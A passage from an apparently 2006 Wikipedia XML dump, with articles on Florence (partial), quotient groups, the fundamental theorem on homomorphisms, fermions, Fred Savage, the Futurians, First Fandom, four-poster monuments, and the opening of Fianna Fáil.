*1.0% [[Albania|Albanian]]

==Transportation==

The principle transportation network within the city is run by the [http://www.ataf.net/Default_EN.asp ATAF and Li-nea] bus company, with tickets available at local tabacconists. [http://www.trenitalia.com/en/index.html Trenitalia] runs trains between the railway stations within the city, and to other destinations around [[Europe]]. Long distance buses are run by the SITA, Copit, CAP and Lazzi buses.

The centre of the city is closed to through-traffic, although [[bus]]es, [[taxi]]s and residents with appropriate permits are allowed in.

An urban [[tram]] network called the [http://www.comune.firenze.it/tramvia/tracciato2.htm TramVia] is currently under construction in the City.

{{section stub}}

==Economy and industry==

{{section stub}}

==Culture==

{{section stub}}

==Administration==

{{section stub}}

* Mayor: [[Leonardo Domenici]], elected [[June 13]], [[1999]]

==Twinning==

Florence maintains cultural, economic and educational ties with [[Edinburgh]], [[Scotland]]. Also maintains sister-city relationship with [[Sydney]], [[Australia]].


===Sister cities===

*[[Dresden]], [[Germany]]
*[[Isfahan (city)|Isfahan]], [[Iran]]
*[[Kassel]], [[Germany]]
*[[Kyoto]], [[Japan]]
*[[Philadelphia, Pennsylvania|Philadelphia]], [[United States]]

==See also==

* [[Stendhal syndrome]]
* [[List of Florentine churches]]
* [[University of Florence]]
* [[Chancellor of Florence]]
* [[Historical states of Italy]]
* [[:Category:Natives of Florence|Natives of Florence]]

==Further reading==
* Ferdinand Schevill, ''History of Florence: From the Founding of the City Through the Renaissance'' (Frederick Ungar, 1936) is the standard overall history of Florence

==External links==
{{commons|Firenze}}
* [http://www.comune.fi.it/inglese/ Official site (English version)]
* [http://wikitravel.org/en/Florence Wikitravel guide to Florence]
* [http://www.florenceandabroad.com/images/cartina.jpg Map of Florence]
* [http://www.italy-weather-and-maps.com/italy/maps/florencemap.php Sectioned map of Florence]
* [http://www.compart-multimedia.com/virtuale/us/florence/florence_italy.htm Florence Italy: Virtual travel in the city of Renaissance] (English/Italian)
* [http://www.fictionalcities.co.uk/florence.htm Novels set in Florence listed and reviewed]
* [http://www.uffizi.firenze.it/welcome.html Uffizi Gallery]
* [http://www.aboutflorence.com About Florence: a non commercial guide to Florence]
* [http://www.math.unifi.it/archimede Archimede's Garden]
* [http://www.accademiadellacrusca.it/ Crusca Academy]
* [http://www.firenze.net/ Events and art, Florence]
* [http://statistica.comune.fi.it/ Statistics on Florence]
* [http://www.flickr.com/groups/firenze/ FlorenceFlickr Group]
* [http://www3.telus.net/Quattrocento_Florence/ The Quattrocento Florence Project] chronicling Florence in the 15th century
* [http://maps.google.com/maps?q=florence,+italy&amp;ll=43.775432,11.265621&amp;spn=0.105505,0.328766&amp;t=h&amp;hl=en Satellite image from Google Maps]
* [http://maps.google.com/maps?q=florence,+italy&amp;t=h&amp;hl=en&amp;ll=43.773302,11.256233&amp;spn=0.003602,0.0106&amp;t=h Satellite image from Google Maps zoomed into the Duomo]

[[Category:Florence| ]]
[[Category:Towns in Tuscany]]
[[Category:World Heritage Sites in Italy]]

&lt;!-- The below are interlanguage links. --&gt;

{{Link FA|is}}

[[af:Florence]]
[[ar:فلورنسا]]
[[br:Firenze]]
[[ca:Florència]]
[[cs:Florencie]]
[[cy:Fflorens]]
[[da:Firenze]]
[[de:Florenz]]
[[es:Florencia]]
[[eo:Florenco]]
[[fr:Florence]]
[[gl:Florencia - Firenze]]
[[ko:피렌체]]
[[id:Firenze]]
[[is:Flórens]]
[[it:Firenze]]
[[he:פירנצה]]
[[la:Florentia]]
[[lt:Florencija]]
[[hu:Firenze]]
[[nl:Florence]]
[[ja:フィレンツェ]]
[[no:Firenze]]
[[pl:Florencja]]
[[pt:Florença]]
[[ro:Florenţa]]
[[ru:Флоренция]]
[[simple:Florence]]
[[sk:Florencia]]
[[fi:Firenze]]
[[sv:Florens]]
[[tr:Floransa]]
[[zh:佛罗伦萨]]</text>
    </revision>
  </page>
  <page>
    <title>Quotient group</title>
    <id>11526</id>
    <revision>
      <id>37670462</id>
      <timestamp>2006-02-01T13:19:18Z</timestamp>
      <contributor>
        <ip>86.121.0.143</ip>
      </contributor>
      <text xml:space="preserve">In [[mathematics]], given a [[group (mathematics)|group]] ''G'' and a [[normal subgroup]] ''N'' of ''G'', the '''quotient group''', or '''factor group''', of ''G'' over ''N'' is intuitively a group that &quot;collapses&quot; the normal subgroup ''N'' to the identity element. The quotient group is written ''G''/''N'' and is usually spoken in English as ''G'' mod ''N'' (''mod'' is short for [[modulo]]).

==The product of subsets of a group==
In the following discussion, we will use a binary operation on the ''subsets'' of ''G'': if two subsets ''S'' and ''T'' of ''G'' are given, we define their product as:

:&lt;math&gt;ST = \{ st : s \isin S {\rm~and~} t \isin T \}.&lt;/math&gt;

This operation is [[associative]] and has as [[identity element]] the [[singleton]] {''e''}, where ''e'' is the identity element of ''G''. Thus, the set of all subsets of ''G'' forms a [[monoid]] under this operation.

In terms of this operation we can first explain what a quotient group is, and then explain what a normal subgroup is:

:''A quotient group of a group ''G'' is a [[Partition of a set|partition]] of ''G'' which is itself a group under this operation''.

It is fully determined by the subset containing ''e''. A [[normal subgroup]] of ''G'' is the set containing ''e'' in any such partition. The subsets in the partition are the [[coset]]s of this normal subgroup.

A subgroup ''N'' of a group ''G'' is normal if and only if the coset equality ''aN'' = ''Na'' holds for all ''a'' in ''G''. In terms of the binary operation on subsets defined above, a normal subgroup of ''G'' is a subgroup that commutes with every subset of ''G''.

==Definition==
We define the set ''G''/''N'' to be the set of all left cosets of ''N'' in ''G'', i.e., 

:&lt;math&gt;G/N = \{ aN : a \isin G \}.&lt;/math&gt;

The group operation on ''G''/''N'' is the product of subsets defined above. In other words, for each ''aN'' and ''bN'' in ''G''/''N'', the product of ''aN'' and ''bN'' is (''aN'')(''bN''). For this operation to be closed, we must show that (''aN'')(''bN'') really is a left coset:

:(''aN'')(''bN'') = ''a''(''Nb'')''N'' = ''a''(''bN'')''N'' = (''ab'')''NN'' = (''ab'')''N''.

Note that we have already used the normality of ''N'' in this equation. Also note that because of the normality of ''N'', we could have chosen to define ''G''/''N'' as the set of right cosets of ''N'' in ''G''. Also note that because the operation is derived from the product of subsets of ''G'', the operation is [[well-defined]] (does not depend on the particular choice of representatives), associative and has identity element ''N''.

The inverse of an element ''aN'' of ''G''/''N'' is ''a''&lt;sup&gt;&amp;minus;1&lt;/sup&gt;''N''. This completes the proof that ''G''/''N'' is a group.

==Examples==

*Consider the group of [[integer]]s '''Z''' (under addition) and the subgroup 2'''Z''' consisting of all even integers. This is a normal subgroup, because '''Z''' is [[abelian group|abelian]]. There are only two cosets: the set of even integers and the set of odd integers; therefore, the quotient group '''Z'''/2'''Z''' is the cyclic group with two elements.  This quotient group is isomorphic with the set { 0, 1 } with addition modulo 2; informally, it is sometimes said that '''Z'''/2'''Z''' ''equals'' the set { 0, 1 } with addition modulo 2.

[[Image:Normal subgroup illustration.png|right|thumb]]
*Consider the multiplicative abelian group ''G'' of [[complex number|complex]] twelfth [[root of unity|roots of unity]], which are points on the [[unit circle]], shown on the picture on the right as colored balls with the number at each point giving its complex argument. Consider its subgroup ''N'' made of the fourth roots of unity, shown as red balls. This normal subgroup splits the group into three cosets, shown in red, green and blue. One can check that the cosets form a group of three elements (the product of a red element with a blue element is red, the inverse of a blue element is green, etc.). Thus, the quotient group ''G''/''N'' is the group of three colors, which turns out to be the cyclic group with three elements.

*Consider the group of [[real number]]s '''R''' under addition, and the subgroup '''Z''' of integers. The cosets of '''Z''' in '''R''' are all sets of the form ''a'' + '''Z''', with 0 &amp;le; ''a'' &lt; 1 a real number. Adding such cosets is done by adding the corresponding real numbers, and subtracting 1 if the result is greater than or equal to 1. The quotient group '''R'''/'''Z''' is isomorphic to the [[circle group]] S&lt;sup&gt;1&lt;/sup&gt;, the group of [[complex number]]s of [[absolute value]] 1 under multiplication, or correspondingly, the group of [[rotation]]s in 2D about the origin, i.e., the special [[orthogonal group]] SO(2). An isomorphism is given by ''f''(''a'' + '''Z''') = exp(2&amp;pi;''ia'') (see [[Euler's identity]]). 

*If ''G'' is the group of invertible 3&amp;times;3 real [[matrix_(mathematics)|matrices]], and ''N'' is the subgroup of 3&amp;times;3 real matrices with [[determinant]] 1, then ''N'' is normal in ''G'' (since it is the [[kernel (algebra)|kernel]] of the determinant [[group homomorphism|homomorphism]]). The cosets of ''N'' are the sets of matrices with a given determinant, and hence ''G''/''N'' is isomorphic to the multiplicative group of non-zero real numbers.

*Consider the abelian group '''Z'''&lt;sub&gt;4&lt;/sub&gt; = '''Z'''/4'''Z''' (that is, the set { 0, 1, 2, 3 } with addition [[Modular arithmetic|modulo]] 4), and its subgroup { 0, 2 }. The quotient group '''Z'''&lt;sub&gt;4&lt;/sub&gt; / { 0, 2 } is { { 0, 2 }, { 1, 3 } }.  This is a group with identity element { 0, 2 }, and group operations such as
::{ 0, 2 } + { 1, 3 } = { 1, 3 }
:Both the subgroup { 0, 2 } and the quotient group { { 0, 2 }, { 1, 3 } }, with their group operations induced by [[cyclic group]] '''Z'''&lt;sub&gt;4&lt;/sub&gt;, are isomorphic with '''Z'''&lt;sub&gt;2&lt;/sub&gt;.

==Properties==
Trivially, ''G / G'' is [[group isomorphism|isomorphic]] to the [[Trivial (mathematics)|trivial group]] (the group with one element), and ''G /'' {e} is isomorphic to ''G''.

The [[group order|order]] of ''G / N'' is by definition equal to [''G'' : ''N''], the [[index of a subgroup|index]] of ''N'' in ''G''. If ''G'' is finite, the index is also equal to the order of ''G'' divided by the order of ''N''. Note that ''G / N'' may be finite, although both ''G'' and ''N'' are infinite (e.g. '''Z''' ''/'' 2'''Z''').

There is a &quot;natural&quot; [[surjective]] [[group homomorphism]] &amp;pi; : ''G'' &amp;rarr; ''G / N'', sending each element ''g'' of ''G'' to the coset of ''N'' to which ''g'' belongs, that is: &amp;pi;(''g'') = ''gN''. The mapping &amp;pi; is sometimes called the ''canonical projection of G onto G / N''. Its [[kernel (algebra)|kernel]] is ''N''. 

There is a bijective correspondence between the subgroups of ''G'' that contain ''N'' and the subgroups of ''G / N''; if ''H'' is a subgroup of ''G'' containing ''N'', then the corresponding subgroup of ''G / N'' is &amp;pi;(''H''). This correspondence holds for normal subgroups of ''G'' and ''G / N'' as well, and is formalized in the [[lattice theorem]].

Several important properties of quotient groups are recorded in the [[fundamental theorem on homomorphisms]] and the [[isomorphism theorem]]s.

If ''G'' is [[abelian group|abelian]], [[nilpotent group|nilpotent]] or [[solvable group|solvable]], then so is ''G / N''.

If ''G'' is [[cyclic group|cyclic]] or [[generating set of a group|finitely generated]], then so is ''G / N''.

If ''H'' is a subgroup in a finite group ''G'', and the order of ''H'' is one half of the order of ''G'', then ''H'' is guaranteed to be a normal subgroup, so ''G / H'' exists and is isomorphic to ''C''&lt;sub&gt;2&lt;/sub&gt;. This result can also be stated as &quot;any subgroup of index 2 is normal&quot;, and in this form it applies also to infinite groups.

Every group is isomorphic to a quotient of a [[free group]].

Sometimes, but not necessarily, a group ''G'' can be reconstructed from ''G / N'' and ''N'', as a [[direct product]] or [[semidirect product]]. An example where it is ''not'' possible is as follows. Z&lt;sub&gt;4&lt;/sub&gt; / { 0, 2 } is isomorphic to Z&lt;sub&gt;2&lt;/sub&gt;, and { 0, 2 } also, but the only semidirect product is the direct product, because  Z&lt;sub&gt;2&lt;/sub&gt; has only the trivial [[automorphism]]. Therefore Z&lt;sub&gt;4&lt;/sub&gt;, which is different from Z&lt;sub&gt;2&lt;/sub&gt; &amp;times; Z&lt;sub&gt;2&lt;/sub&gt;, cannot be reconstructed.

==See also==

*[[Ideal (ring theory)#Factor rings (quotient rings) and kernels|factor ring]] (also called ''quotient ring'')

[[Category:Group theory]]

[[de:Faktorgruppe]]
[[es:Grupo cociente]]
[[fr:Groupe quotient]]
[[it:Gruppo quoziente]]
[[he:חבורת מנה]]
[[pl:Grupa ilorazowa]]
[[ru:Факторгруппа]]</text>
    </revision>
  </page>
  <page>
    <title>Fundamental theorem on homomorphisms</title>
    <id>11527</id>
    <revision>
      <id>37608508</id>
      <timestamp>2006-02-01T01:19:12Z</timestamp>
      <contributor>
        <ip>129.120.193.31</ip>
      </contributor>
      <comment>Link to the First Isomorphism Theorem</comment>
      <text xml:space="preserve">In [[abstract algebra]], for a number of algebraic structures, the '''[[fundamental theorem]] on homomorphisms''' relates the structure of two objects between  
which a [[homomorphism]] is given, and of the [[kernel of a homomorphism|kernel]] and image of the 
homomorphism.

For [[group (mathematics)|groups]], the theorem states:
:Let ''G'' and ''H'' be groups; let ''f'' : ''G''&amp;rarr;''H'' be a [[group homomorphism]]; let ''K'' be the kernel of ''f''; let &amp;phi; be the natural [[surjective]] homomorphism ''G''&amp;rarr;''G''/''K''. Then there exists a unique homomorphism ''h'':''G''/''K''&amp;rarr;''H'' such that ''f'' = ''h'' &amp;phi;. Moreover,  ''h'' is [[injective]] and provides an isomorphism between ''G''/''K'' and the image of ''f''.

The situation is described by the following [[commutative diagram]]:

[[image:FundHomDiag.png]]

Similar theorems are valid for [[monoid]]s, [[vector space]]s, [[module (mathematics)|modules]], and [[ring (mathematics)|rings]].

This is very similar to the [[Isomorphism_theorem|first isomorphism theorem]].

[[de:Homomorphiesatz]]
[[es:Teorema fundamental sobre homomorfismos]]

[[Category:Abstract algebra]]
[[Category:Mathematical theorems]]</text>
    </revision>
  </page>
  <page>
    <title>FCO</title>
    <id>11528</id>
    <revision>
      <id>26568331</id>
      <timestamp>2005-10-26T22:57:41Z</timestamp>
      <contributor>
        <username>Hongshi</username>
        <id>486656</id>
      </contributor>
      <text xml:space="preserve">'''FCO''' is the acronym for:
*[[Foreign and Commonwealth Office]] - UK Ministry of Foreign Affairs
-----
'''FCO''' is also the [[IATA airport code]] for:
*[[Leonardo Da Vinci International Airport]]
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Fermion</title>
    <id>11529</id>
    <revision>
      <id>38492160</id>
      <timestamp>2006-02-06T18:33:02Z</timestamp>
      <contributor>
        <username>Xerxes314</username>
        <id>43566</id>
      </contributor>
      <comment>more fiddling</comment>
      <text xml:space="preserve">In [[particle physics]], '''fermions''', named after [[Enrico Fermi]], are particles which form [[identical particles|totally-antisymmetric composite quantum states]]. As a result, they are subject to the [[Pauli exclusion principle]] and obey [[Fermi-Dirac statistics]]. According to the [[spin-statistics theorem]] of [[quantum field theory]], fermions have [[half-integer]] [[spin (physics)|spin]]. One important aspect of half-integer spin is that particles with such spin have to be rotated by two 360-degree [[rotation]]s to return them to their initial state.  

All [[elementary particle]]s are either fermions or [[boson]]s. Composite particles composed of fermions may be either fermions or bosons, depending on the number of fermionic constituents: Particles composed of an even number of fermions are themselves bosons (such as [[meson]]s); those composed of an odd number of fermions are themselves fermions (such as [[baryon]]s).

The known elementary fermions are divided into two groups: [[quark]]s and [[lepton]]s. The elementary particles that make up ordinary [[matter]] are fermions, belonging to either the quarks (which form [[proton]]s and [[neutron]]s) or the leptons (such as [[electron]]s). The Pauli exclusion of fermions is responsible for the stability of the [[electron configuration|electron shells]] of atoms, making complex [[chemistry]] possible. It also allows the stability of [[degenerate matter]] under extreme pressures.

==See also==
* [[List of particles]]
* [[Fermionic field]]
* [[Identical particles]]
* [[Parastatistics]]

{{elementary}}
[[Category:Particle physics]]
[[Category:Subatomic particles]]
[[Category:Fermions]]

[[bg:Фермион]]
[[ca:Fermió]]
[[cs:Fermion]]
[[de:Fermion]]
[[et:Fermion]]
[[el:Φερμιόνιο]]
[[es:Fermión]]
[[fr:Fermion]]
[[ko:페르미온]]
[[hr:Fermion]]
[[id:Fermion]]
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[[it:Fermione]]
[[he:פרמיון]]
[[la:Fermion]]
[[hu:Fermion]]
[[nl:Fermion]]
[[ja:フェルミ粒子]]
[[no:Fermion]]
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[[ru:Фермион]]
[[sl:Fermion]]
[[fi:Fermioni]]
[[sv:Fermion]]
[[tr:Fermiyon]]
[[zh:费米子]]</text>
    </revision>
  </page>
  <page>
    <title>Fred Savage</title>
    <id>11530</id>
    <revision>
      <id>41290954</id>
      <timestamp>2006-02-26T08:54:54Z</timestamp>
      <contributor>
        <ip>69.230.195.169</ip>
      </contributor>
      <comment>/* Career */</comment>
      <text xml:space="preserve">:''For the Canadian children's author please see [[Fred Savage (author)]].''
'''Frederick Aaron Savage''' (born [[July 9]], [[1976]]) is an [[United States of America|American]] [[actor]] and [[television director]].

==Early life==
Savage was born in [[Glencoe]], [[Illinois]] to [[Jewish American]] parents Lew Savage, a real estate agent, and Joanne, a housewife; his brother is actor [[Ben Savage]]. He graduated from [[Stanford University]], where he was a member of the [[Sigma Alpha Epsilon]] [[fraternity]], in [[1999]] with a degree in [[English studies|English]].

==Career==
Savage began his acting career at the age of 4, in [[1980]], in the film ''Dinosaur''. His first kiss was as an actor in the series ''[[The Wonder Years]]''. The show also led to his being the youngest person ever to be nominated for an [[Emmy Award]] for outstanding leading performer. His most famous roles are in the movie ''[[The Princess Bride (film)|The Princess Bride]]'' and on the two [[television]] series ''[[The Wonder Years]]'' and ''Working''.

Fred Savage is currently a co-director of several children/teen programs on [[Nickelodeon (TV channel)|Nickelodeon]] and [[The Disney Channel|Disney]]. In [[January 2006]], he began his starring role in the ABC comedy ''[[Crumbs]]''.

==Private life==
He married his childhood sweetheart, [[Jennifer Stone]], on [[August 7]], [[2004]]. The two were wed at the L'Orangerie restaurant in [[Los Angeles]], [[California]].

Fred also plays on the [[World Poker Tour]] in the Hollywood Home games for the Childrens Hospital Los Angeles charity.

==Filmography==
# ''[[Crumbs]]'' (TV) (2006)
# ''[[Welcome to Mooseport]]'' (2004)
# ''[[The Last Run]]'' (2004)
# ''[[The Rules of Attraction]]'' (2002)
# ''[[Austin Powers in Goldmember]]'' (2002)
# ''[[Area 52]]'' (2001) (TV)
# ''[[Oswald (movie)|Oswald]]'' (2001) (TV)
# ''[[The Jungle Book: Mowgli's Story]]'' (1998) (V)
# ''[[Working (tv)|Working]]'' (1997) (TV)
# ''[[A Guy Walks Into a Bar]]'' (1997)
# ''[[How Do You Spell God?]]'' (1996) (TV)
# ''[[No One Would Tell]]'' (1996) (TV)
# ''[[Christmas on Division Street]]'' (1991) (TV)
# ''[[When You Remember Me]]'' (1990) (TV)
# ''[[The Wizard (movie)|The Wizard]]'' (1989)
# ''[[Little Monsters]]'' (1989)
# ''[[The Wonder Years]]'' (1988) (TV)
# ''[[Run Till You Fall]]'' (1988) (TV)
# ''[[Vice Versa ]]'' (1988)
# ''[[Runaway Ralph]]'' (1988) (TV)
# ''[[The Princess Bride (film)|The Princess Bride]]'' (1987)
# ''[[Convicted: A Mother's Story]]'' (1987) (TV)
# ''[[The Boy Who Could Fly]]'' (1986)
# ''[[Morningstar/Eveningstar]]'' (1986) (TV)
# ''[[Dinosaur (1980 movie)|Dinosaur]]'' (1980)

==External links==
*{{imdb name|id=0000625|name=Fred Savage}}
*[http://www.teenidols4you.com/pictures.html?g=Actors&amp;pe=fredsavage Picture Gallery]
*[http://www.nndb.com/people/345/000026267/ Fred Savage] at [[NNDB]]
*{{tvtome person|id=6414|name=Fred Savage}}
*[http://www.worldpokertour.com/players/?x=profile&amp;poker-player=4942 World Poker Tour Profile]

[[Category:1976 births|Savage, Fred]]
[[Category:American child actors|Savage, Fred]]
[[Category:American film actors|Savage, Fred]]
[[Category:American television actors|Savage, Fred]]
[[Category:American television directors|Savage, Fred]]
[[Category:Chicagoans|Savage, Fred]]
[[Category:Jewish American actors|Savage, Fred]]
[[Category:Law &amp; Order: Special Victims Unit actors|Savage, Fred]]
[[Category:Living people|Savage, Fred]]
[[Category:Sigma Alpha Epsilon brothers|Savage, Fred]]

[[de:Fred Savage]]
[[fr:Fred Savage]]</text>
    </revision>
  </page>
  <page>
    <title>Futurians</title>
    <id>11531</id>
    <revision>
      <id>35429847</id>
      <timestamp>2006-01-16T18:51:56Z</timestamp>
      <contributor>
        <username>Konczewski</username>
        <id>635320</id>
      </contributor>
      <text xml:space="preserve">The '''Futurians''' were an influential group of [[science fiction]] [[science fiction fandom|fans]], [[science fiction editors|editors]] and [[science fiction authors|writers]]. They were a major force in the development of science fiction writing and [[science fiction fandom]] in the years [[1937]]-[[1945]].

The Futurians were based in [[New York]].

As described in [[Isaac Asimov]]'s autobiography ''[[In Memory Yet Green]]'', the Futurians spun off from the [[Queens Science Fiction Society]] (headed by [[Sam Moskowitz]], later an influential SF editor and historian) over ideological differences.  Asimov does not specify the differences but hints that they were political in character. Other sources indicate that [[Donald A. Wollheim]] was pushing for a more left wing direction with a goal of leading fandom toward a political ideal, all of which Moskowitz resisted.  As a result, Wollheim broke off and began the [[Futurians]].  

==Members include==

* [[Isaac Asimov]]
* [[James Blish]]
* [[Hannes Bok]]
* [[Dan Burford]]
* [[Chet Cohen]]
* [[Dirk Wylie|Harry Dockweiler]] (a.k.a. Dirk Wylie)
* [[Virginia Kidd]]
* [[Damon Knight]]
* [[Cyril Kornbluth]]
* [[Walter Kubilius]]
* [[David Kyle]]
* [[Robert A.W. Lowndes]]
* [[Judith Merril]]
* [[John Michel]]
* [[Leslie Perri]]
* [[Frederik Pohl]]
* [[Larry Shaw (fan)|Larry Shaw]]
* [[Richard Wilson (fan)|Richard Wilson]]
* [[Donald A. Wollheim]]


==References==
* ''The Futurians'' by Damon Knight (1977)
* ''The Way The Future Was'' by Frederik Pohl (1978)
* ''In Memory Yet Green'' by Isaac Asimov (1979)

== See also ==
* [[Second Fandom]]

==External links==
* http://ebbs.english.vt.edu/20th/etudes/anderson/futurians.html
* [http://media-in-transition.mit.edu/science_fiction/profiles/pohl.html Frederik Pohl profile with several paragraphs on the Futurians]
* [http://www.sff.net/people/diccon/FOXTROT.HTM Fancyclopedia II: F] (see the entries under FUTURIANS, and FUTURIAN HOUSES)

[[Category:Fandom]]
[[Category:Science fiction organizations]]

[[fr:The Futurians]]</text>
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  </page>
  <page>
    <title>First Fandom</title>
    <id>11532</id>
    <revision>
      <id>40363617</id>
      <timestamp>2006-02-20T01:51:51Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''First Fandom''' is an association of experienced [[science fiction fandom|science fiction fans]].

In [[1958]] a number of fans at [[Midwestcon]] realized amid table-talk that they all had been active in fandom for more than 20 years. This inspired the creation of an organization for longstanding fans under the initial chairmanship of [[Robert A. Madle]]. Originally only those fans who were known to have been active in fandom before the cutoff date [[January 1]], [[1938]] were eligible. Such fannish activity (or &quot;[[fanac]]&quot;) including writing to letter columns in [[science fiction]] [[magazine]]s, having been published in [[fanzine]]s, or having participated in science fiction oriented clubs, or just generally doing fannish things.

The term itself is an oblique reference to [[Olaf Stapledon]]'s classic science fiction epic ''[[Last and First Men]]''. In this book the stages of mankind are enumerated. Thus early [[1950s|'50s]] historians of fandom began to label successive generations of fans as First Fandom, Second Fandom, Third Fandom, and so forth... all the way to Seventh Fandom and beyond.

Currently the organization allows several classes of membership. For example, a ''Dinosaur'' is a member who was active before the first [[Worldcon]] (World Science Fiction Convention) held on [[July 4]], [[1939]], while ''Associate Membership'' requires provable activity in fandom for more than three decades.

There is an analogous informal society in [[Finnish fandom]] called the ''Dinosaur Club''; the cutoff being the first major Finnish [[Convention|con]] [[Kingcon]].
==External links==
* [http://www.firstfandom.org.hosting.domaindirect.com/ First Fandom website]
[[Category:Fandom]]

[[de:First Fandom]]</text>
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  </page>
  <page>
    <title>Four-poster</title>
    <id>11535</id>
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      <id>15909279</id>
      <timestamp>2005-05-23T00:37:03Z</timestamp>
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        <ip>165.247.183.38</ip>
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      <comment>disambiguating Roman</comment>
      <text xml:space="preserve">Archaeologists refer to two different structures as a '''four-poster''' . The first is a type of stone setting found uniquely within the [[British Isles]]. They date from the [[Bronze Age]] and, as the name suggests, usually consist of four stones. Late [[Bronze Age]], [[Iron Age]] and [[Ancient Rome|Roman]] four-posters are square arrangements of [[posthole]]s, around 2-4m square. Some are thought to have supported a raised granary whilst others have been shown to have supported haystacks. Other theories include that they were chicken sheds, workshops, beehives watchtowers or platforms for exposing the dead. Four posters are commonly found at [[hillfort]] and [[farm]] sites.

== Bronze Age four posters ==

It is widely accepted that the four-poster tradition grew out of the [[recumbent-stone circle]] tradition of [[Aberdeenshire (traditional)|Aberdeenshire]] at the very start of the [[Bronze Age]]. The earliest ancestors of the four-poster are found in the hills north of Inverurie, where gross extremities in the scale of recumbent-stone circles have been found ranging from very large (50 metres diameter) to very small (5 metres diameter). In some of the smallest, the setting consists of six or eight stones, one within 45 degrees of south being only slightly bulkier or special compared with the others. In most of these, a clear rectangle appears stones if only the four largest stones are considered.

The builders of the four-posters -- with their traditions in tow -- travelled south-west, heading for the metal-rich southern regions of [[Ireland]]. Around [[Perthshire]], about 200 kilometres away from Aberdeen, an extremely dense cluster of four-posters occurs. Many believe that it was here, in the fertile valleys of Strathtay and Strathmore, that the four-posters became refined into neat squares, averaging [[1 E1 m²|12 square metres]] in internal area, placed on neat levelled mounds with [[cist]]s or cremations near the north east stone. Situations were chosen both for their proximity to communities (although this is less the case than with earlier monuments) and for the views they commanded. The south west remains the focal point, with alignments on nearby notches in hills close to the major southern moonset frequently occurring. It should be noted that four-posters are hardly exact astronomical observatories, they should be thought of more as a memento of home for Bronze Age travellers who were ill-equipped to undertake workings on the size of the grand [[recumbent-stone circle]]s of the soon distant north east.

Quite why there are so many four-posters in [[Perthshire]] isn't quite clear. It is possible the tradition was carried on by the local community after the travellers had left, or that longterm trade led to the blurring of cultures. Either way, there isn't a single four-poster in the next 300 kilometres to [[Ireland]], suggesting the journeymen picked up pace and hurried down to the cultural crossroads of [[Machrie Moor]] on the [[Isle of Arran]], in the vicinity of which several four-posters have been found and excavated. Once on [[Ireland]] but outside the south west there are two confirmed four-posters, both on the east coast, suggesting a route down that side of the island, to the region around [[County Cork]], where another proliferation occurs. The radiocarbon dates for remains from this group are later than those for the others in [[Scotland]] which confirms the progression in construction.

It seems a reversion to some old habits takes place here, the southern or south west stone becoming higher and thicker, like a miniature recumbent from the [[recumbent-stone circle]]s. Another stone was added, whilst the two stones furthest away from the 'recumbent' became higher and thinner like the 'portal' stones of the Aberdeenshire circles yet on the wrong side! Eventually, the design was consolidated into what is known as the [[Munster stone cirle]] tradition.

[[Category:British archaeology]]
[[Category:Monument types]]</text>
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  </page>
  <page>
    <title>Fianna Fáil</title>
    <id>11536</id>
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      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
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      <minor />
      <comment>remove redundant IPA</comment>
      <text xml:space="preserve">{{Infobox_Irish_Political_Party |
  party_name     = Fianna Fáil|
  party_articletitle = Fianna Fáil|
  party_logo     = [[Image:Fiannafaillogo.png]] |
  leader = [[Bertie Ahern]] |
  foundation     = [[March 23]], [[1926]] |
  ideology = [[Populism]], [[Nationalism]] |
  international = ''none'' |
  european = ''none'' |
  europarl = [[Union for Europe of the Nations|UEN]] |
  colours = [[Green]]|
  headquarters   = 65-66 Lower Mount Street&lt;br&gt; [[Dublin]] 2 |
  website = [http://www.fiannafail.ie http://www.fiannafail.ie]
}}
'''Fianna Fáil - The Republican Party''' ([[International Phonetic Alphabet for English|IPA]]  {{IPA|[ˌf&lt;sup&gt;j&lt;/sup&gt;iənə; ˈfɔːl&lt;sup&gt;j&lt;/sup&gt;]}}; [[English language|English]] translation: ''Soldiers of Ireland'', but traditionally translated as ''Soldiers of Destiny'') is the largest [[political party]] in [[Ireland]].  From its establishment in the early twentieth century, the party moved from being a [[radical]], slightly left of centre party, to become the establishment, its influence dominating government and Irish political life from the 1930's onwards.  It has been the largest party in [[Dail Eireann]] since [[1932]], and formed the government from 1932-[[1948|48]], [[1951]]-[[1954|54]], [[1957]]-[[1973|73]], [[1977]]-[[1981|81]], [[1982]], [[1987]]-[[1994|94]], and since [[1997]]. Electorally Fianna Fáil is second only to the Social Democrats in Sweden in its length of tenure in office.

In the [[European Parliament]], Fianna Fáil is a leading member of [[Union for Europe of the Nations]], a small right-of-centre nationalist grouping.  European political commentators have often noted this to be a particularly odd arrangement owing to the substantive ideological differences between the paty and its groupmates, whose strongly conservative stances have at times prompted domestic criticism of Fianna Fáil.  Party headquarters, over the objections of some MEPs, has made several attempts to sever the party's links to the European right, most recently an aborted 2004 agreement to join the [[Alliance of Liberals and Democrats for Europe]], with whom it already sits at the [[Council of Europe]].

==Leader &amp; President of Fianna Fáil==

* [[Eamon de Valera]] ([[1926]]-[[1959]])
* [[Seán Lemass]] ([[1959]]-[[1966]])
* [[Jack Lynch]] ([[1966]]-[[1979]])
* [[Charles Haughey]] ([[1979]]-[[1992]])
* [[Albert Reynolds]] ([[1992]]-[[1994]])
* [[Bertie Ahern]] ([[1994]]-''present'')

''&lt;small&gt;Note: Though the posts of leader and party president are separate, with the former elected by the Parliamentary Party and the latter elected by the [[Ard Fhéis]], and in theory the posts could be held by different people, they have always been held by the one person.  However as that year's Ard Fheis may already have taken place before a new leader was elected, the selection of the new party president might not take place until a year after the leader. The years above are for the election of the leader. &lt;/small&gt;

==History==

[[Image:Eamondv.jpg|thumb|left|Éamon de Valera, founder and first leader of Fianna Fáil (1926-1959). He served as [[Taoiseach]] on three occasions.]]

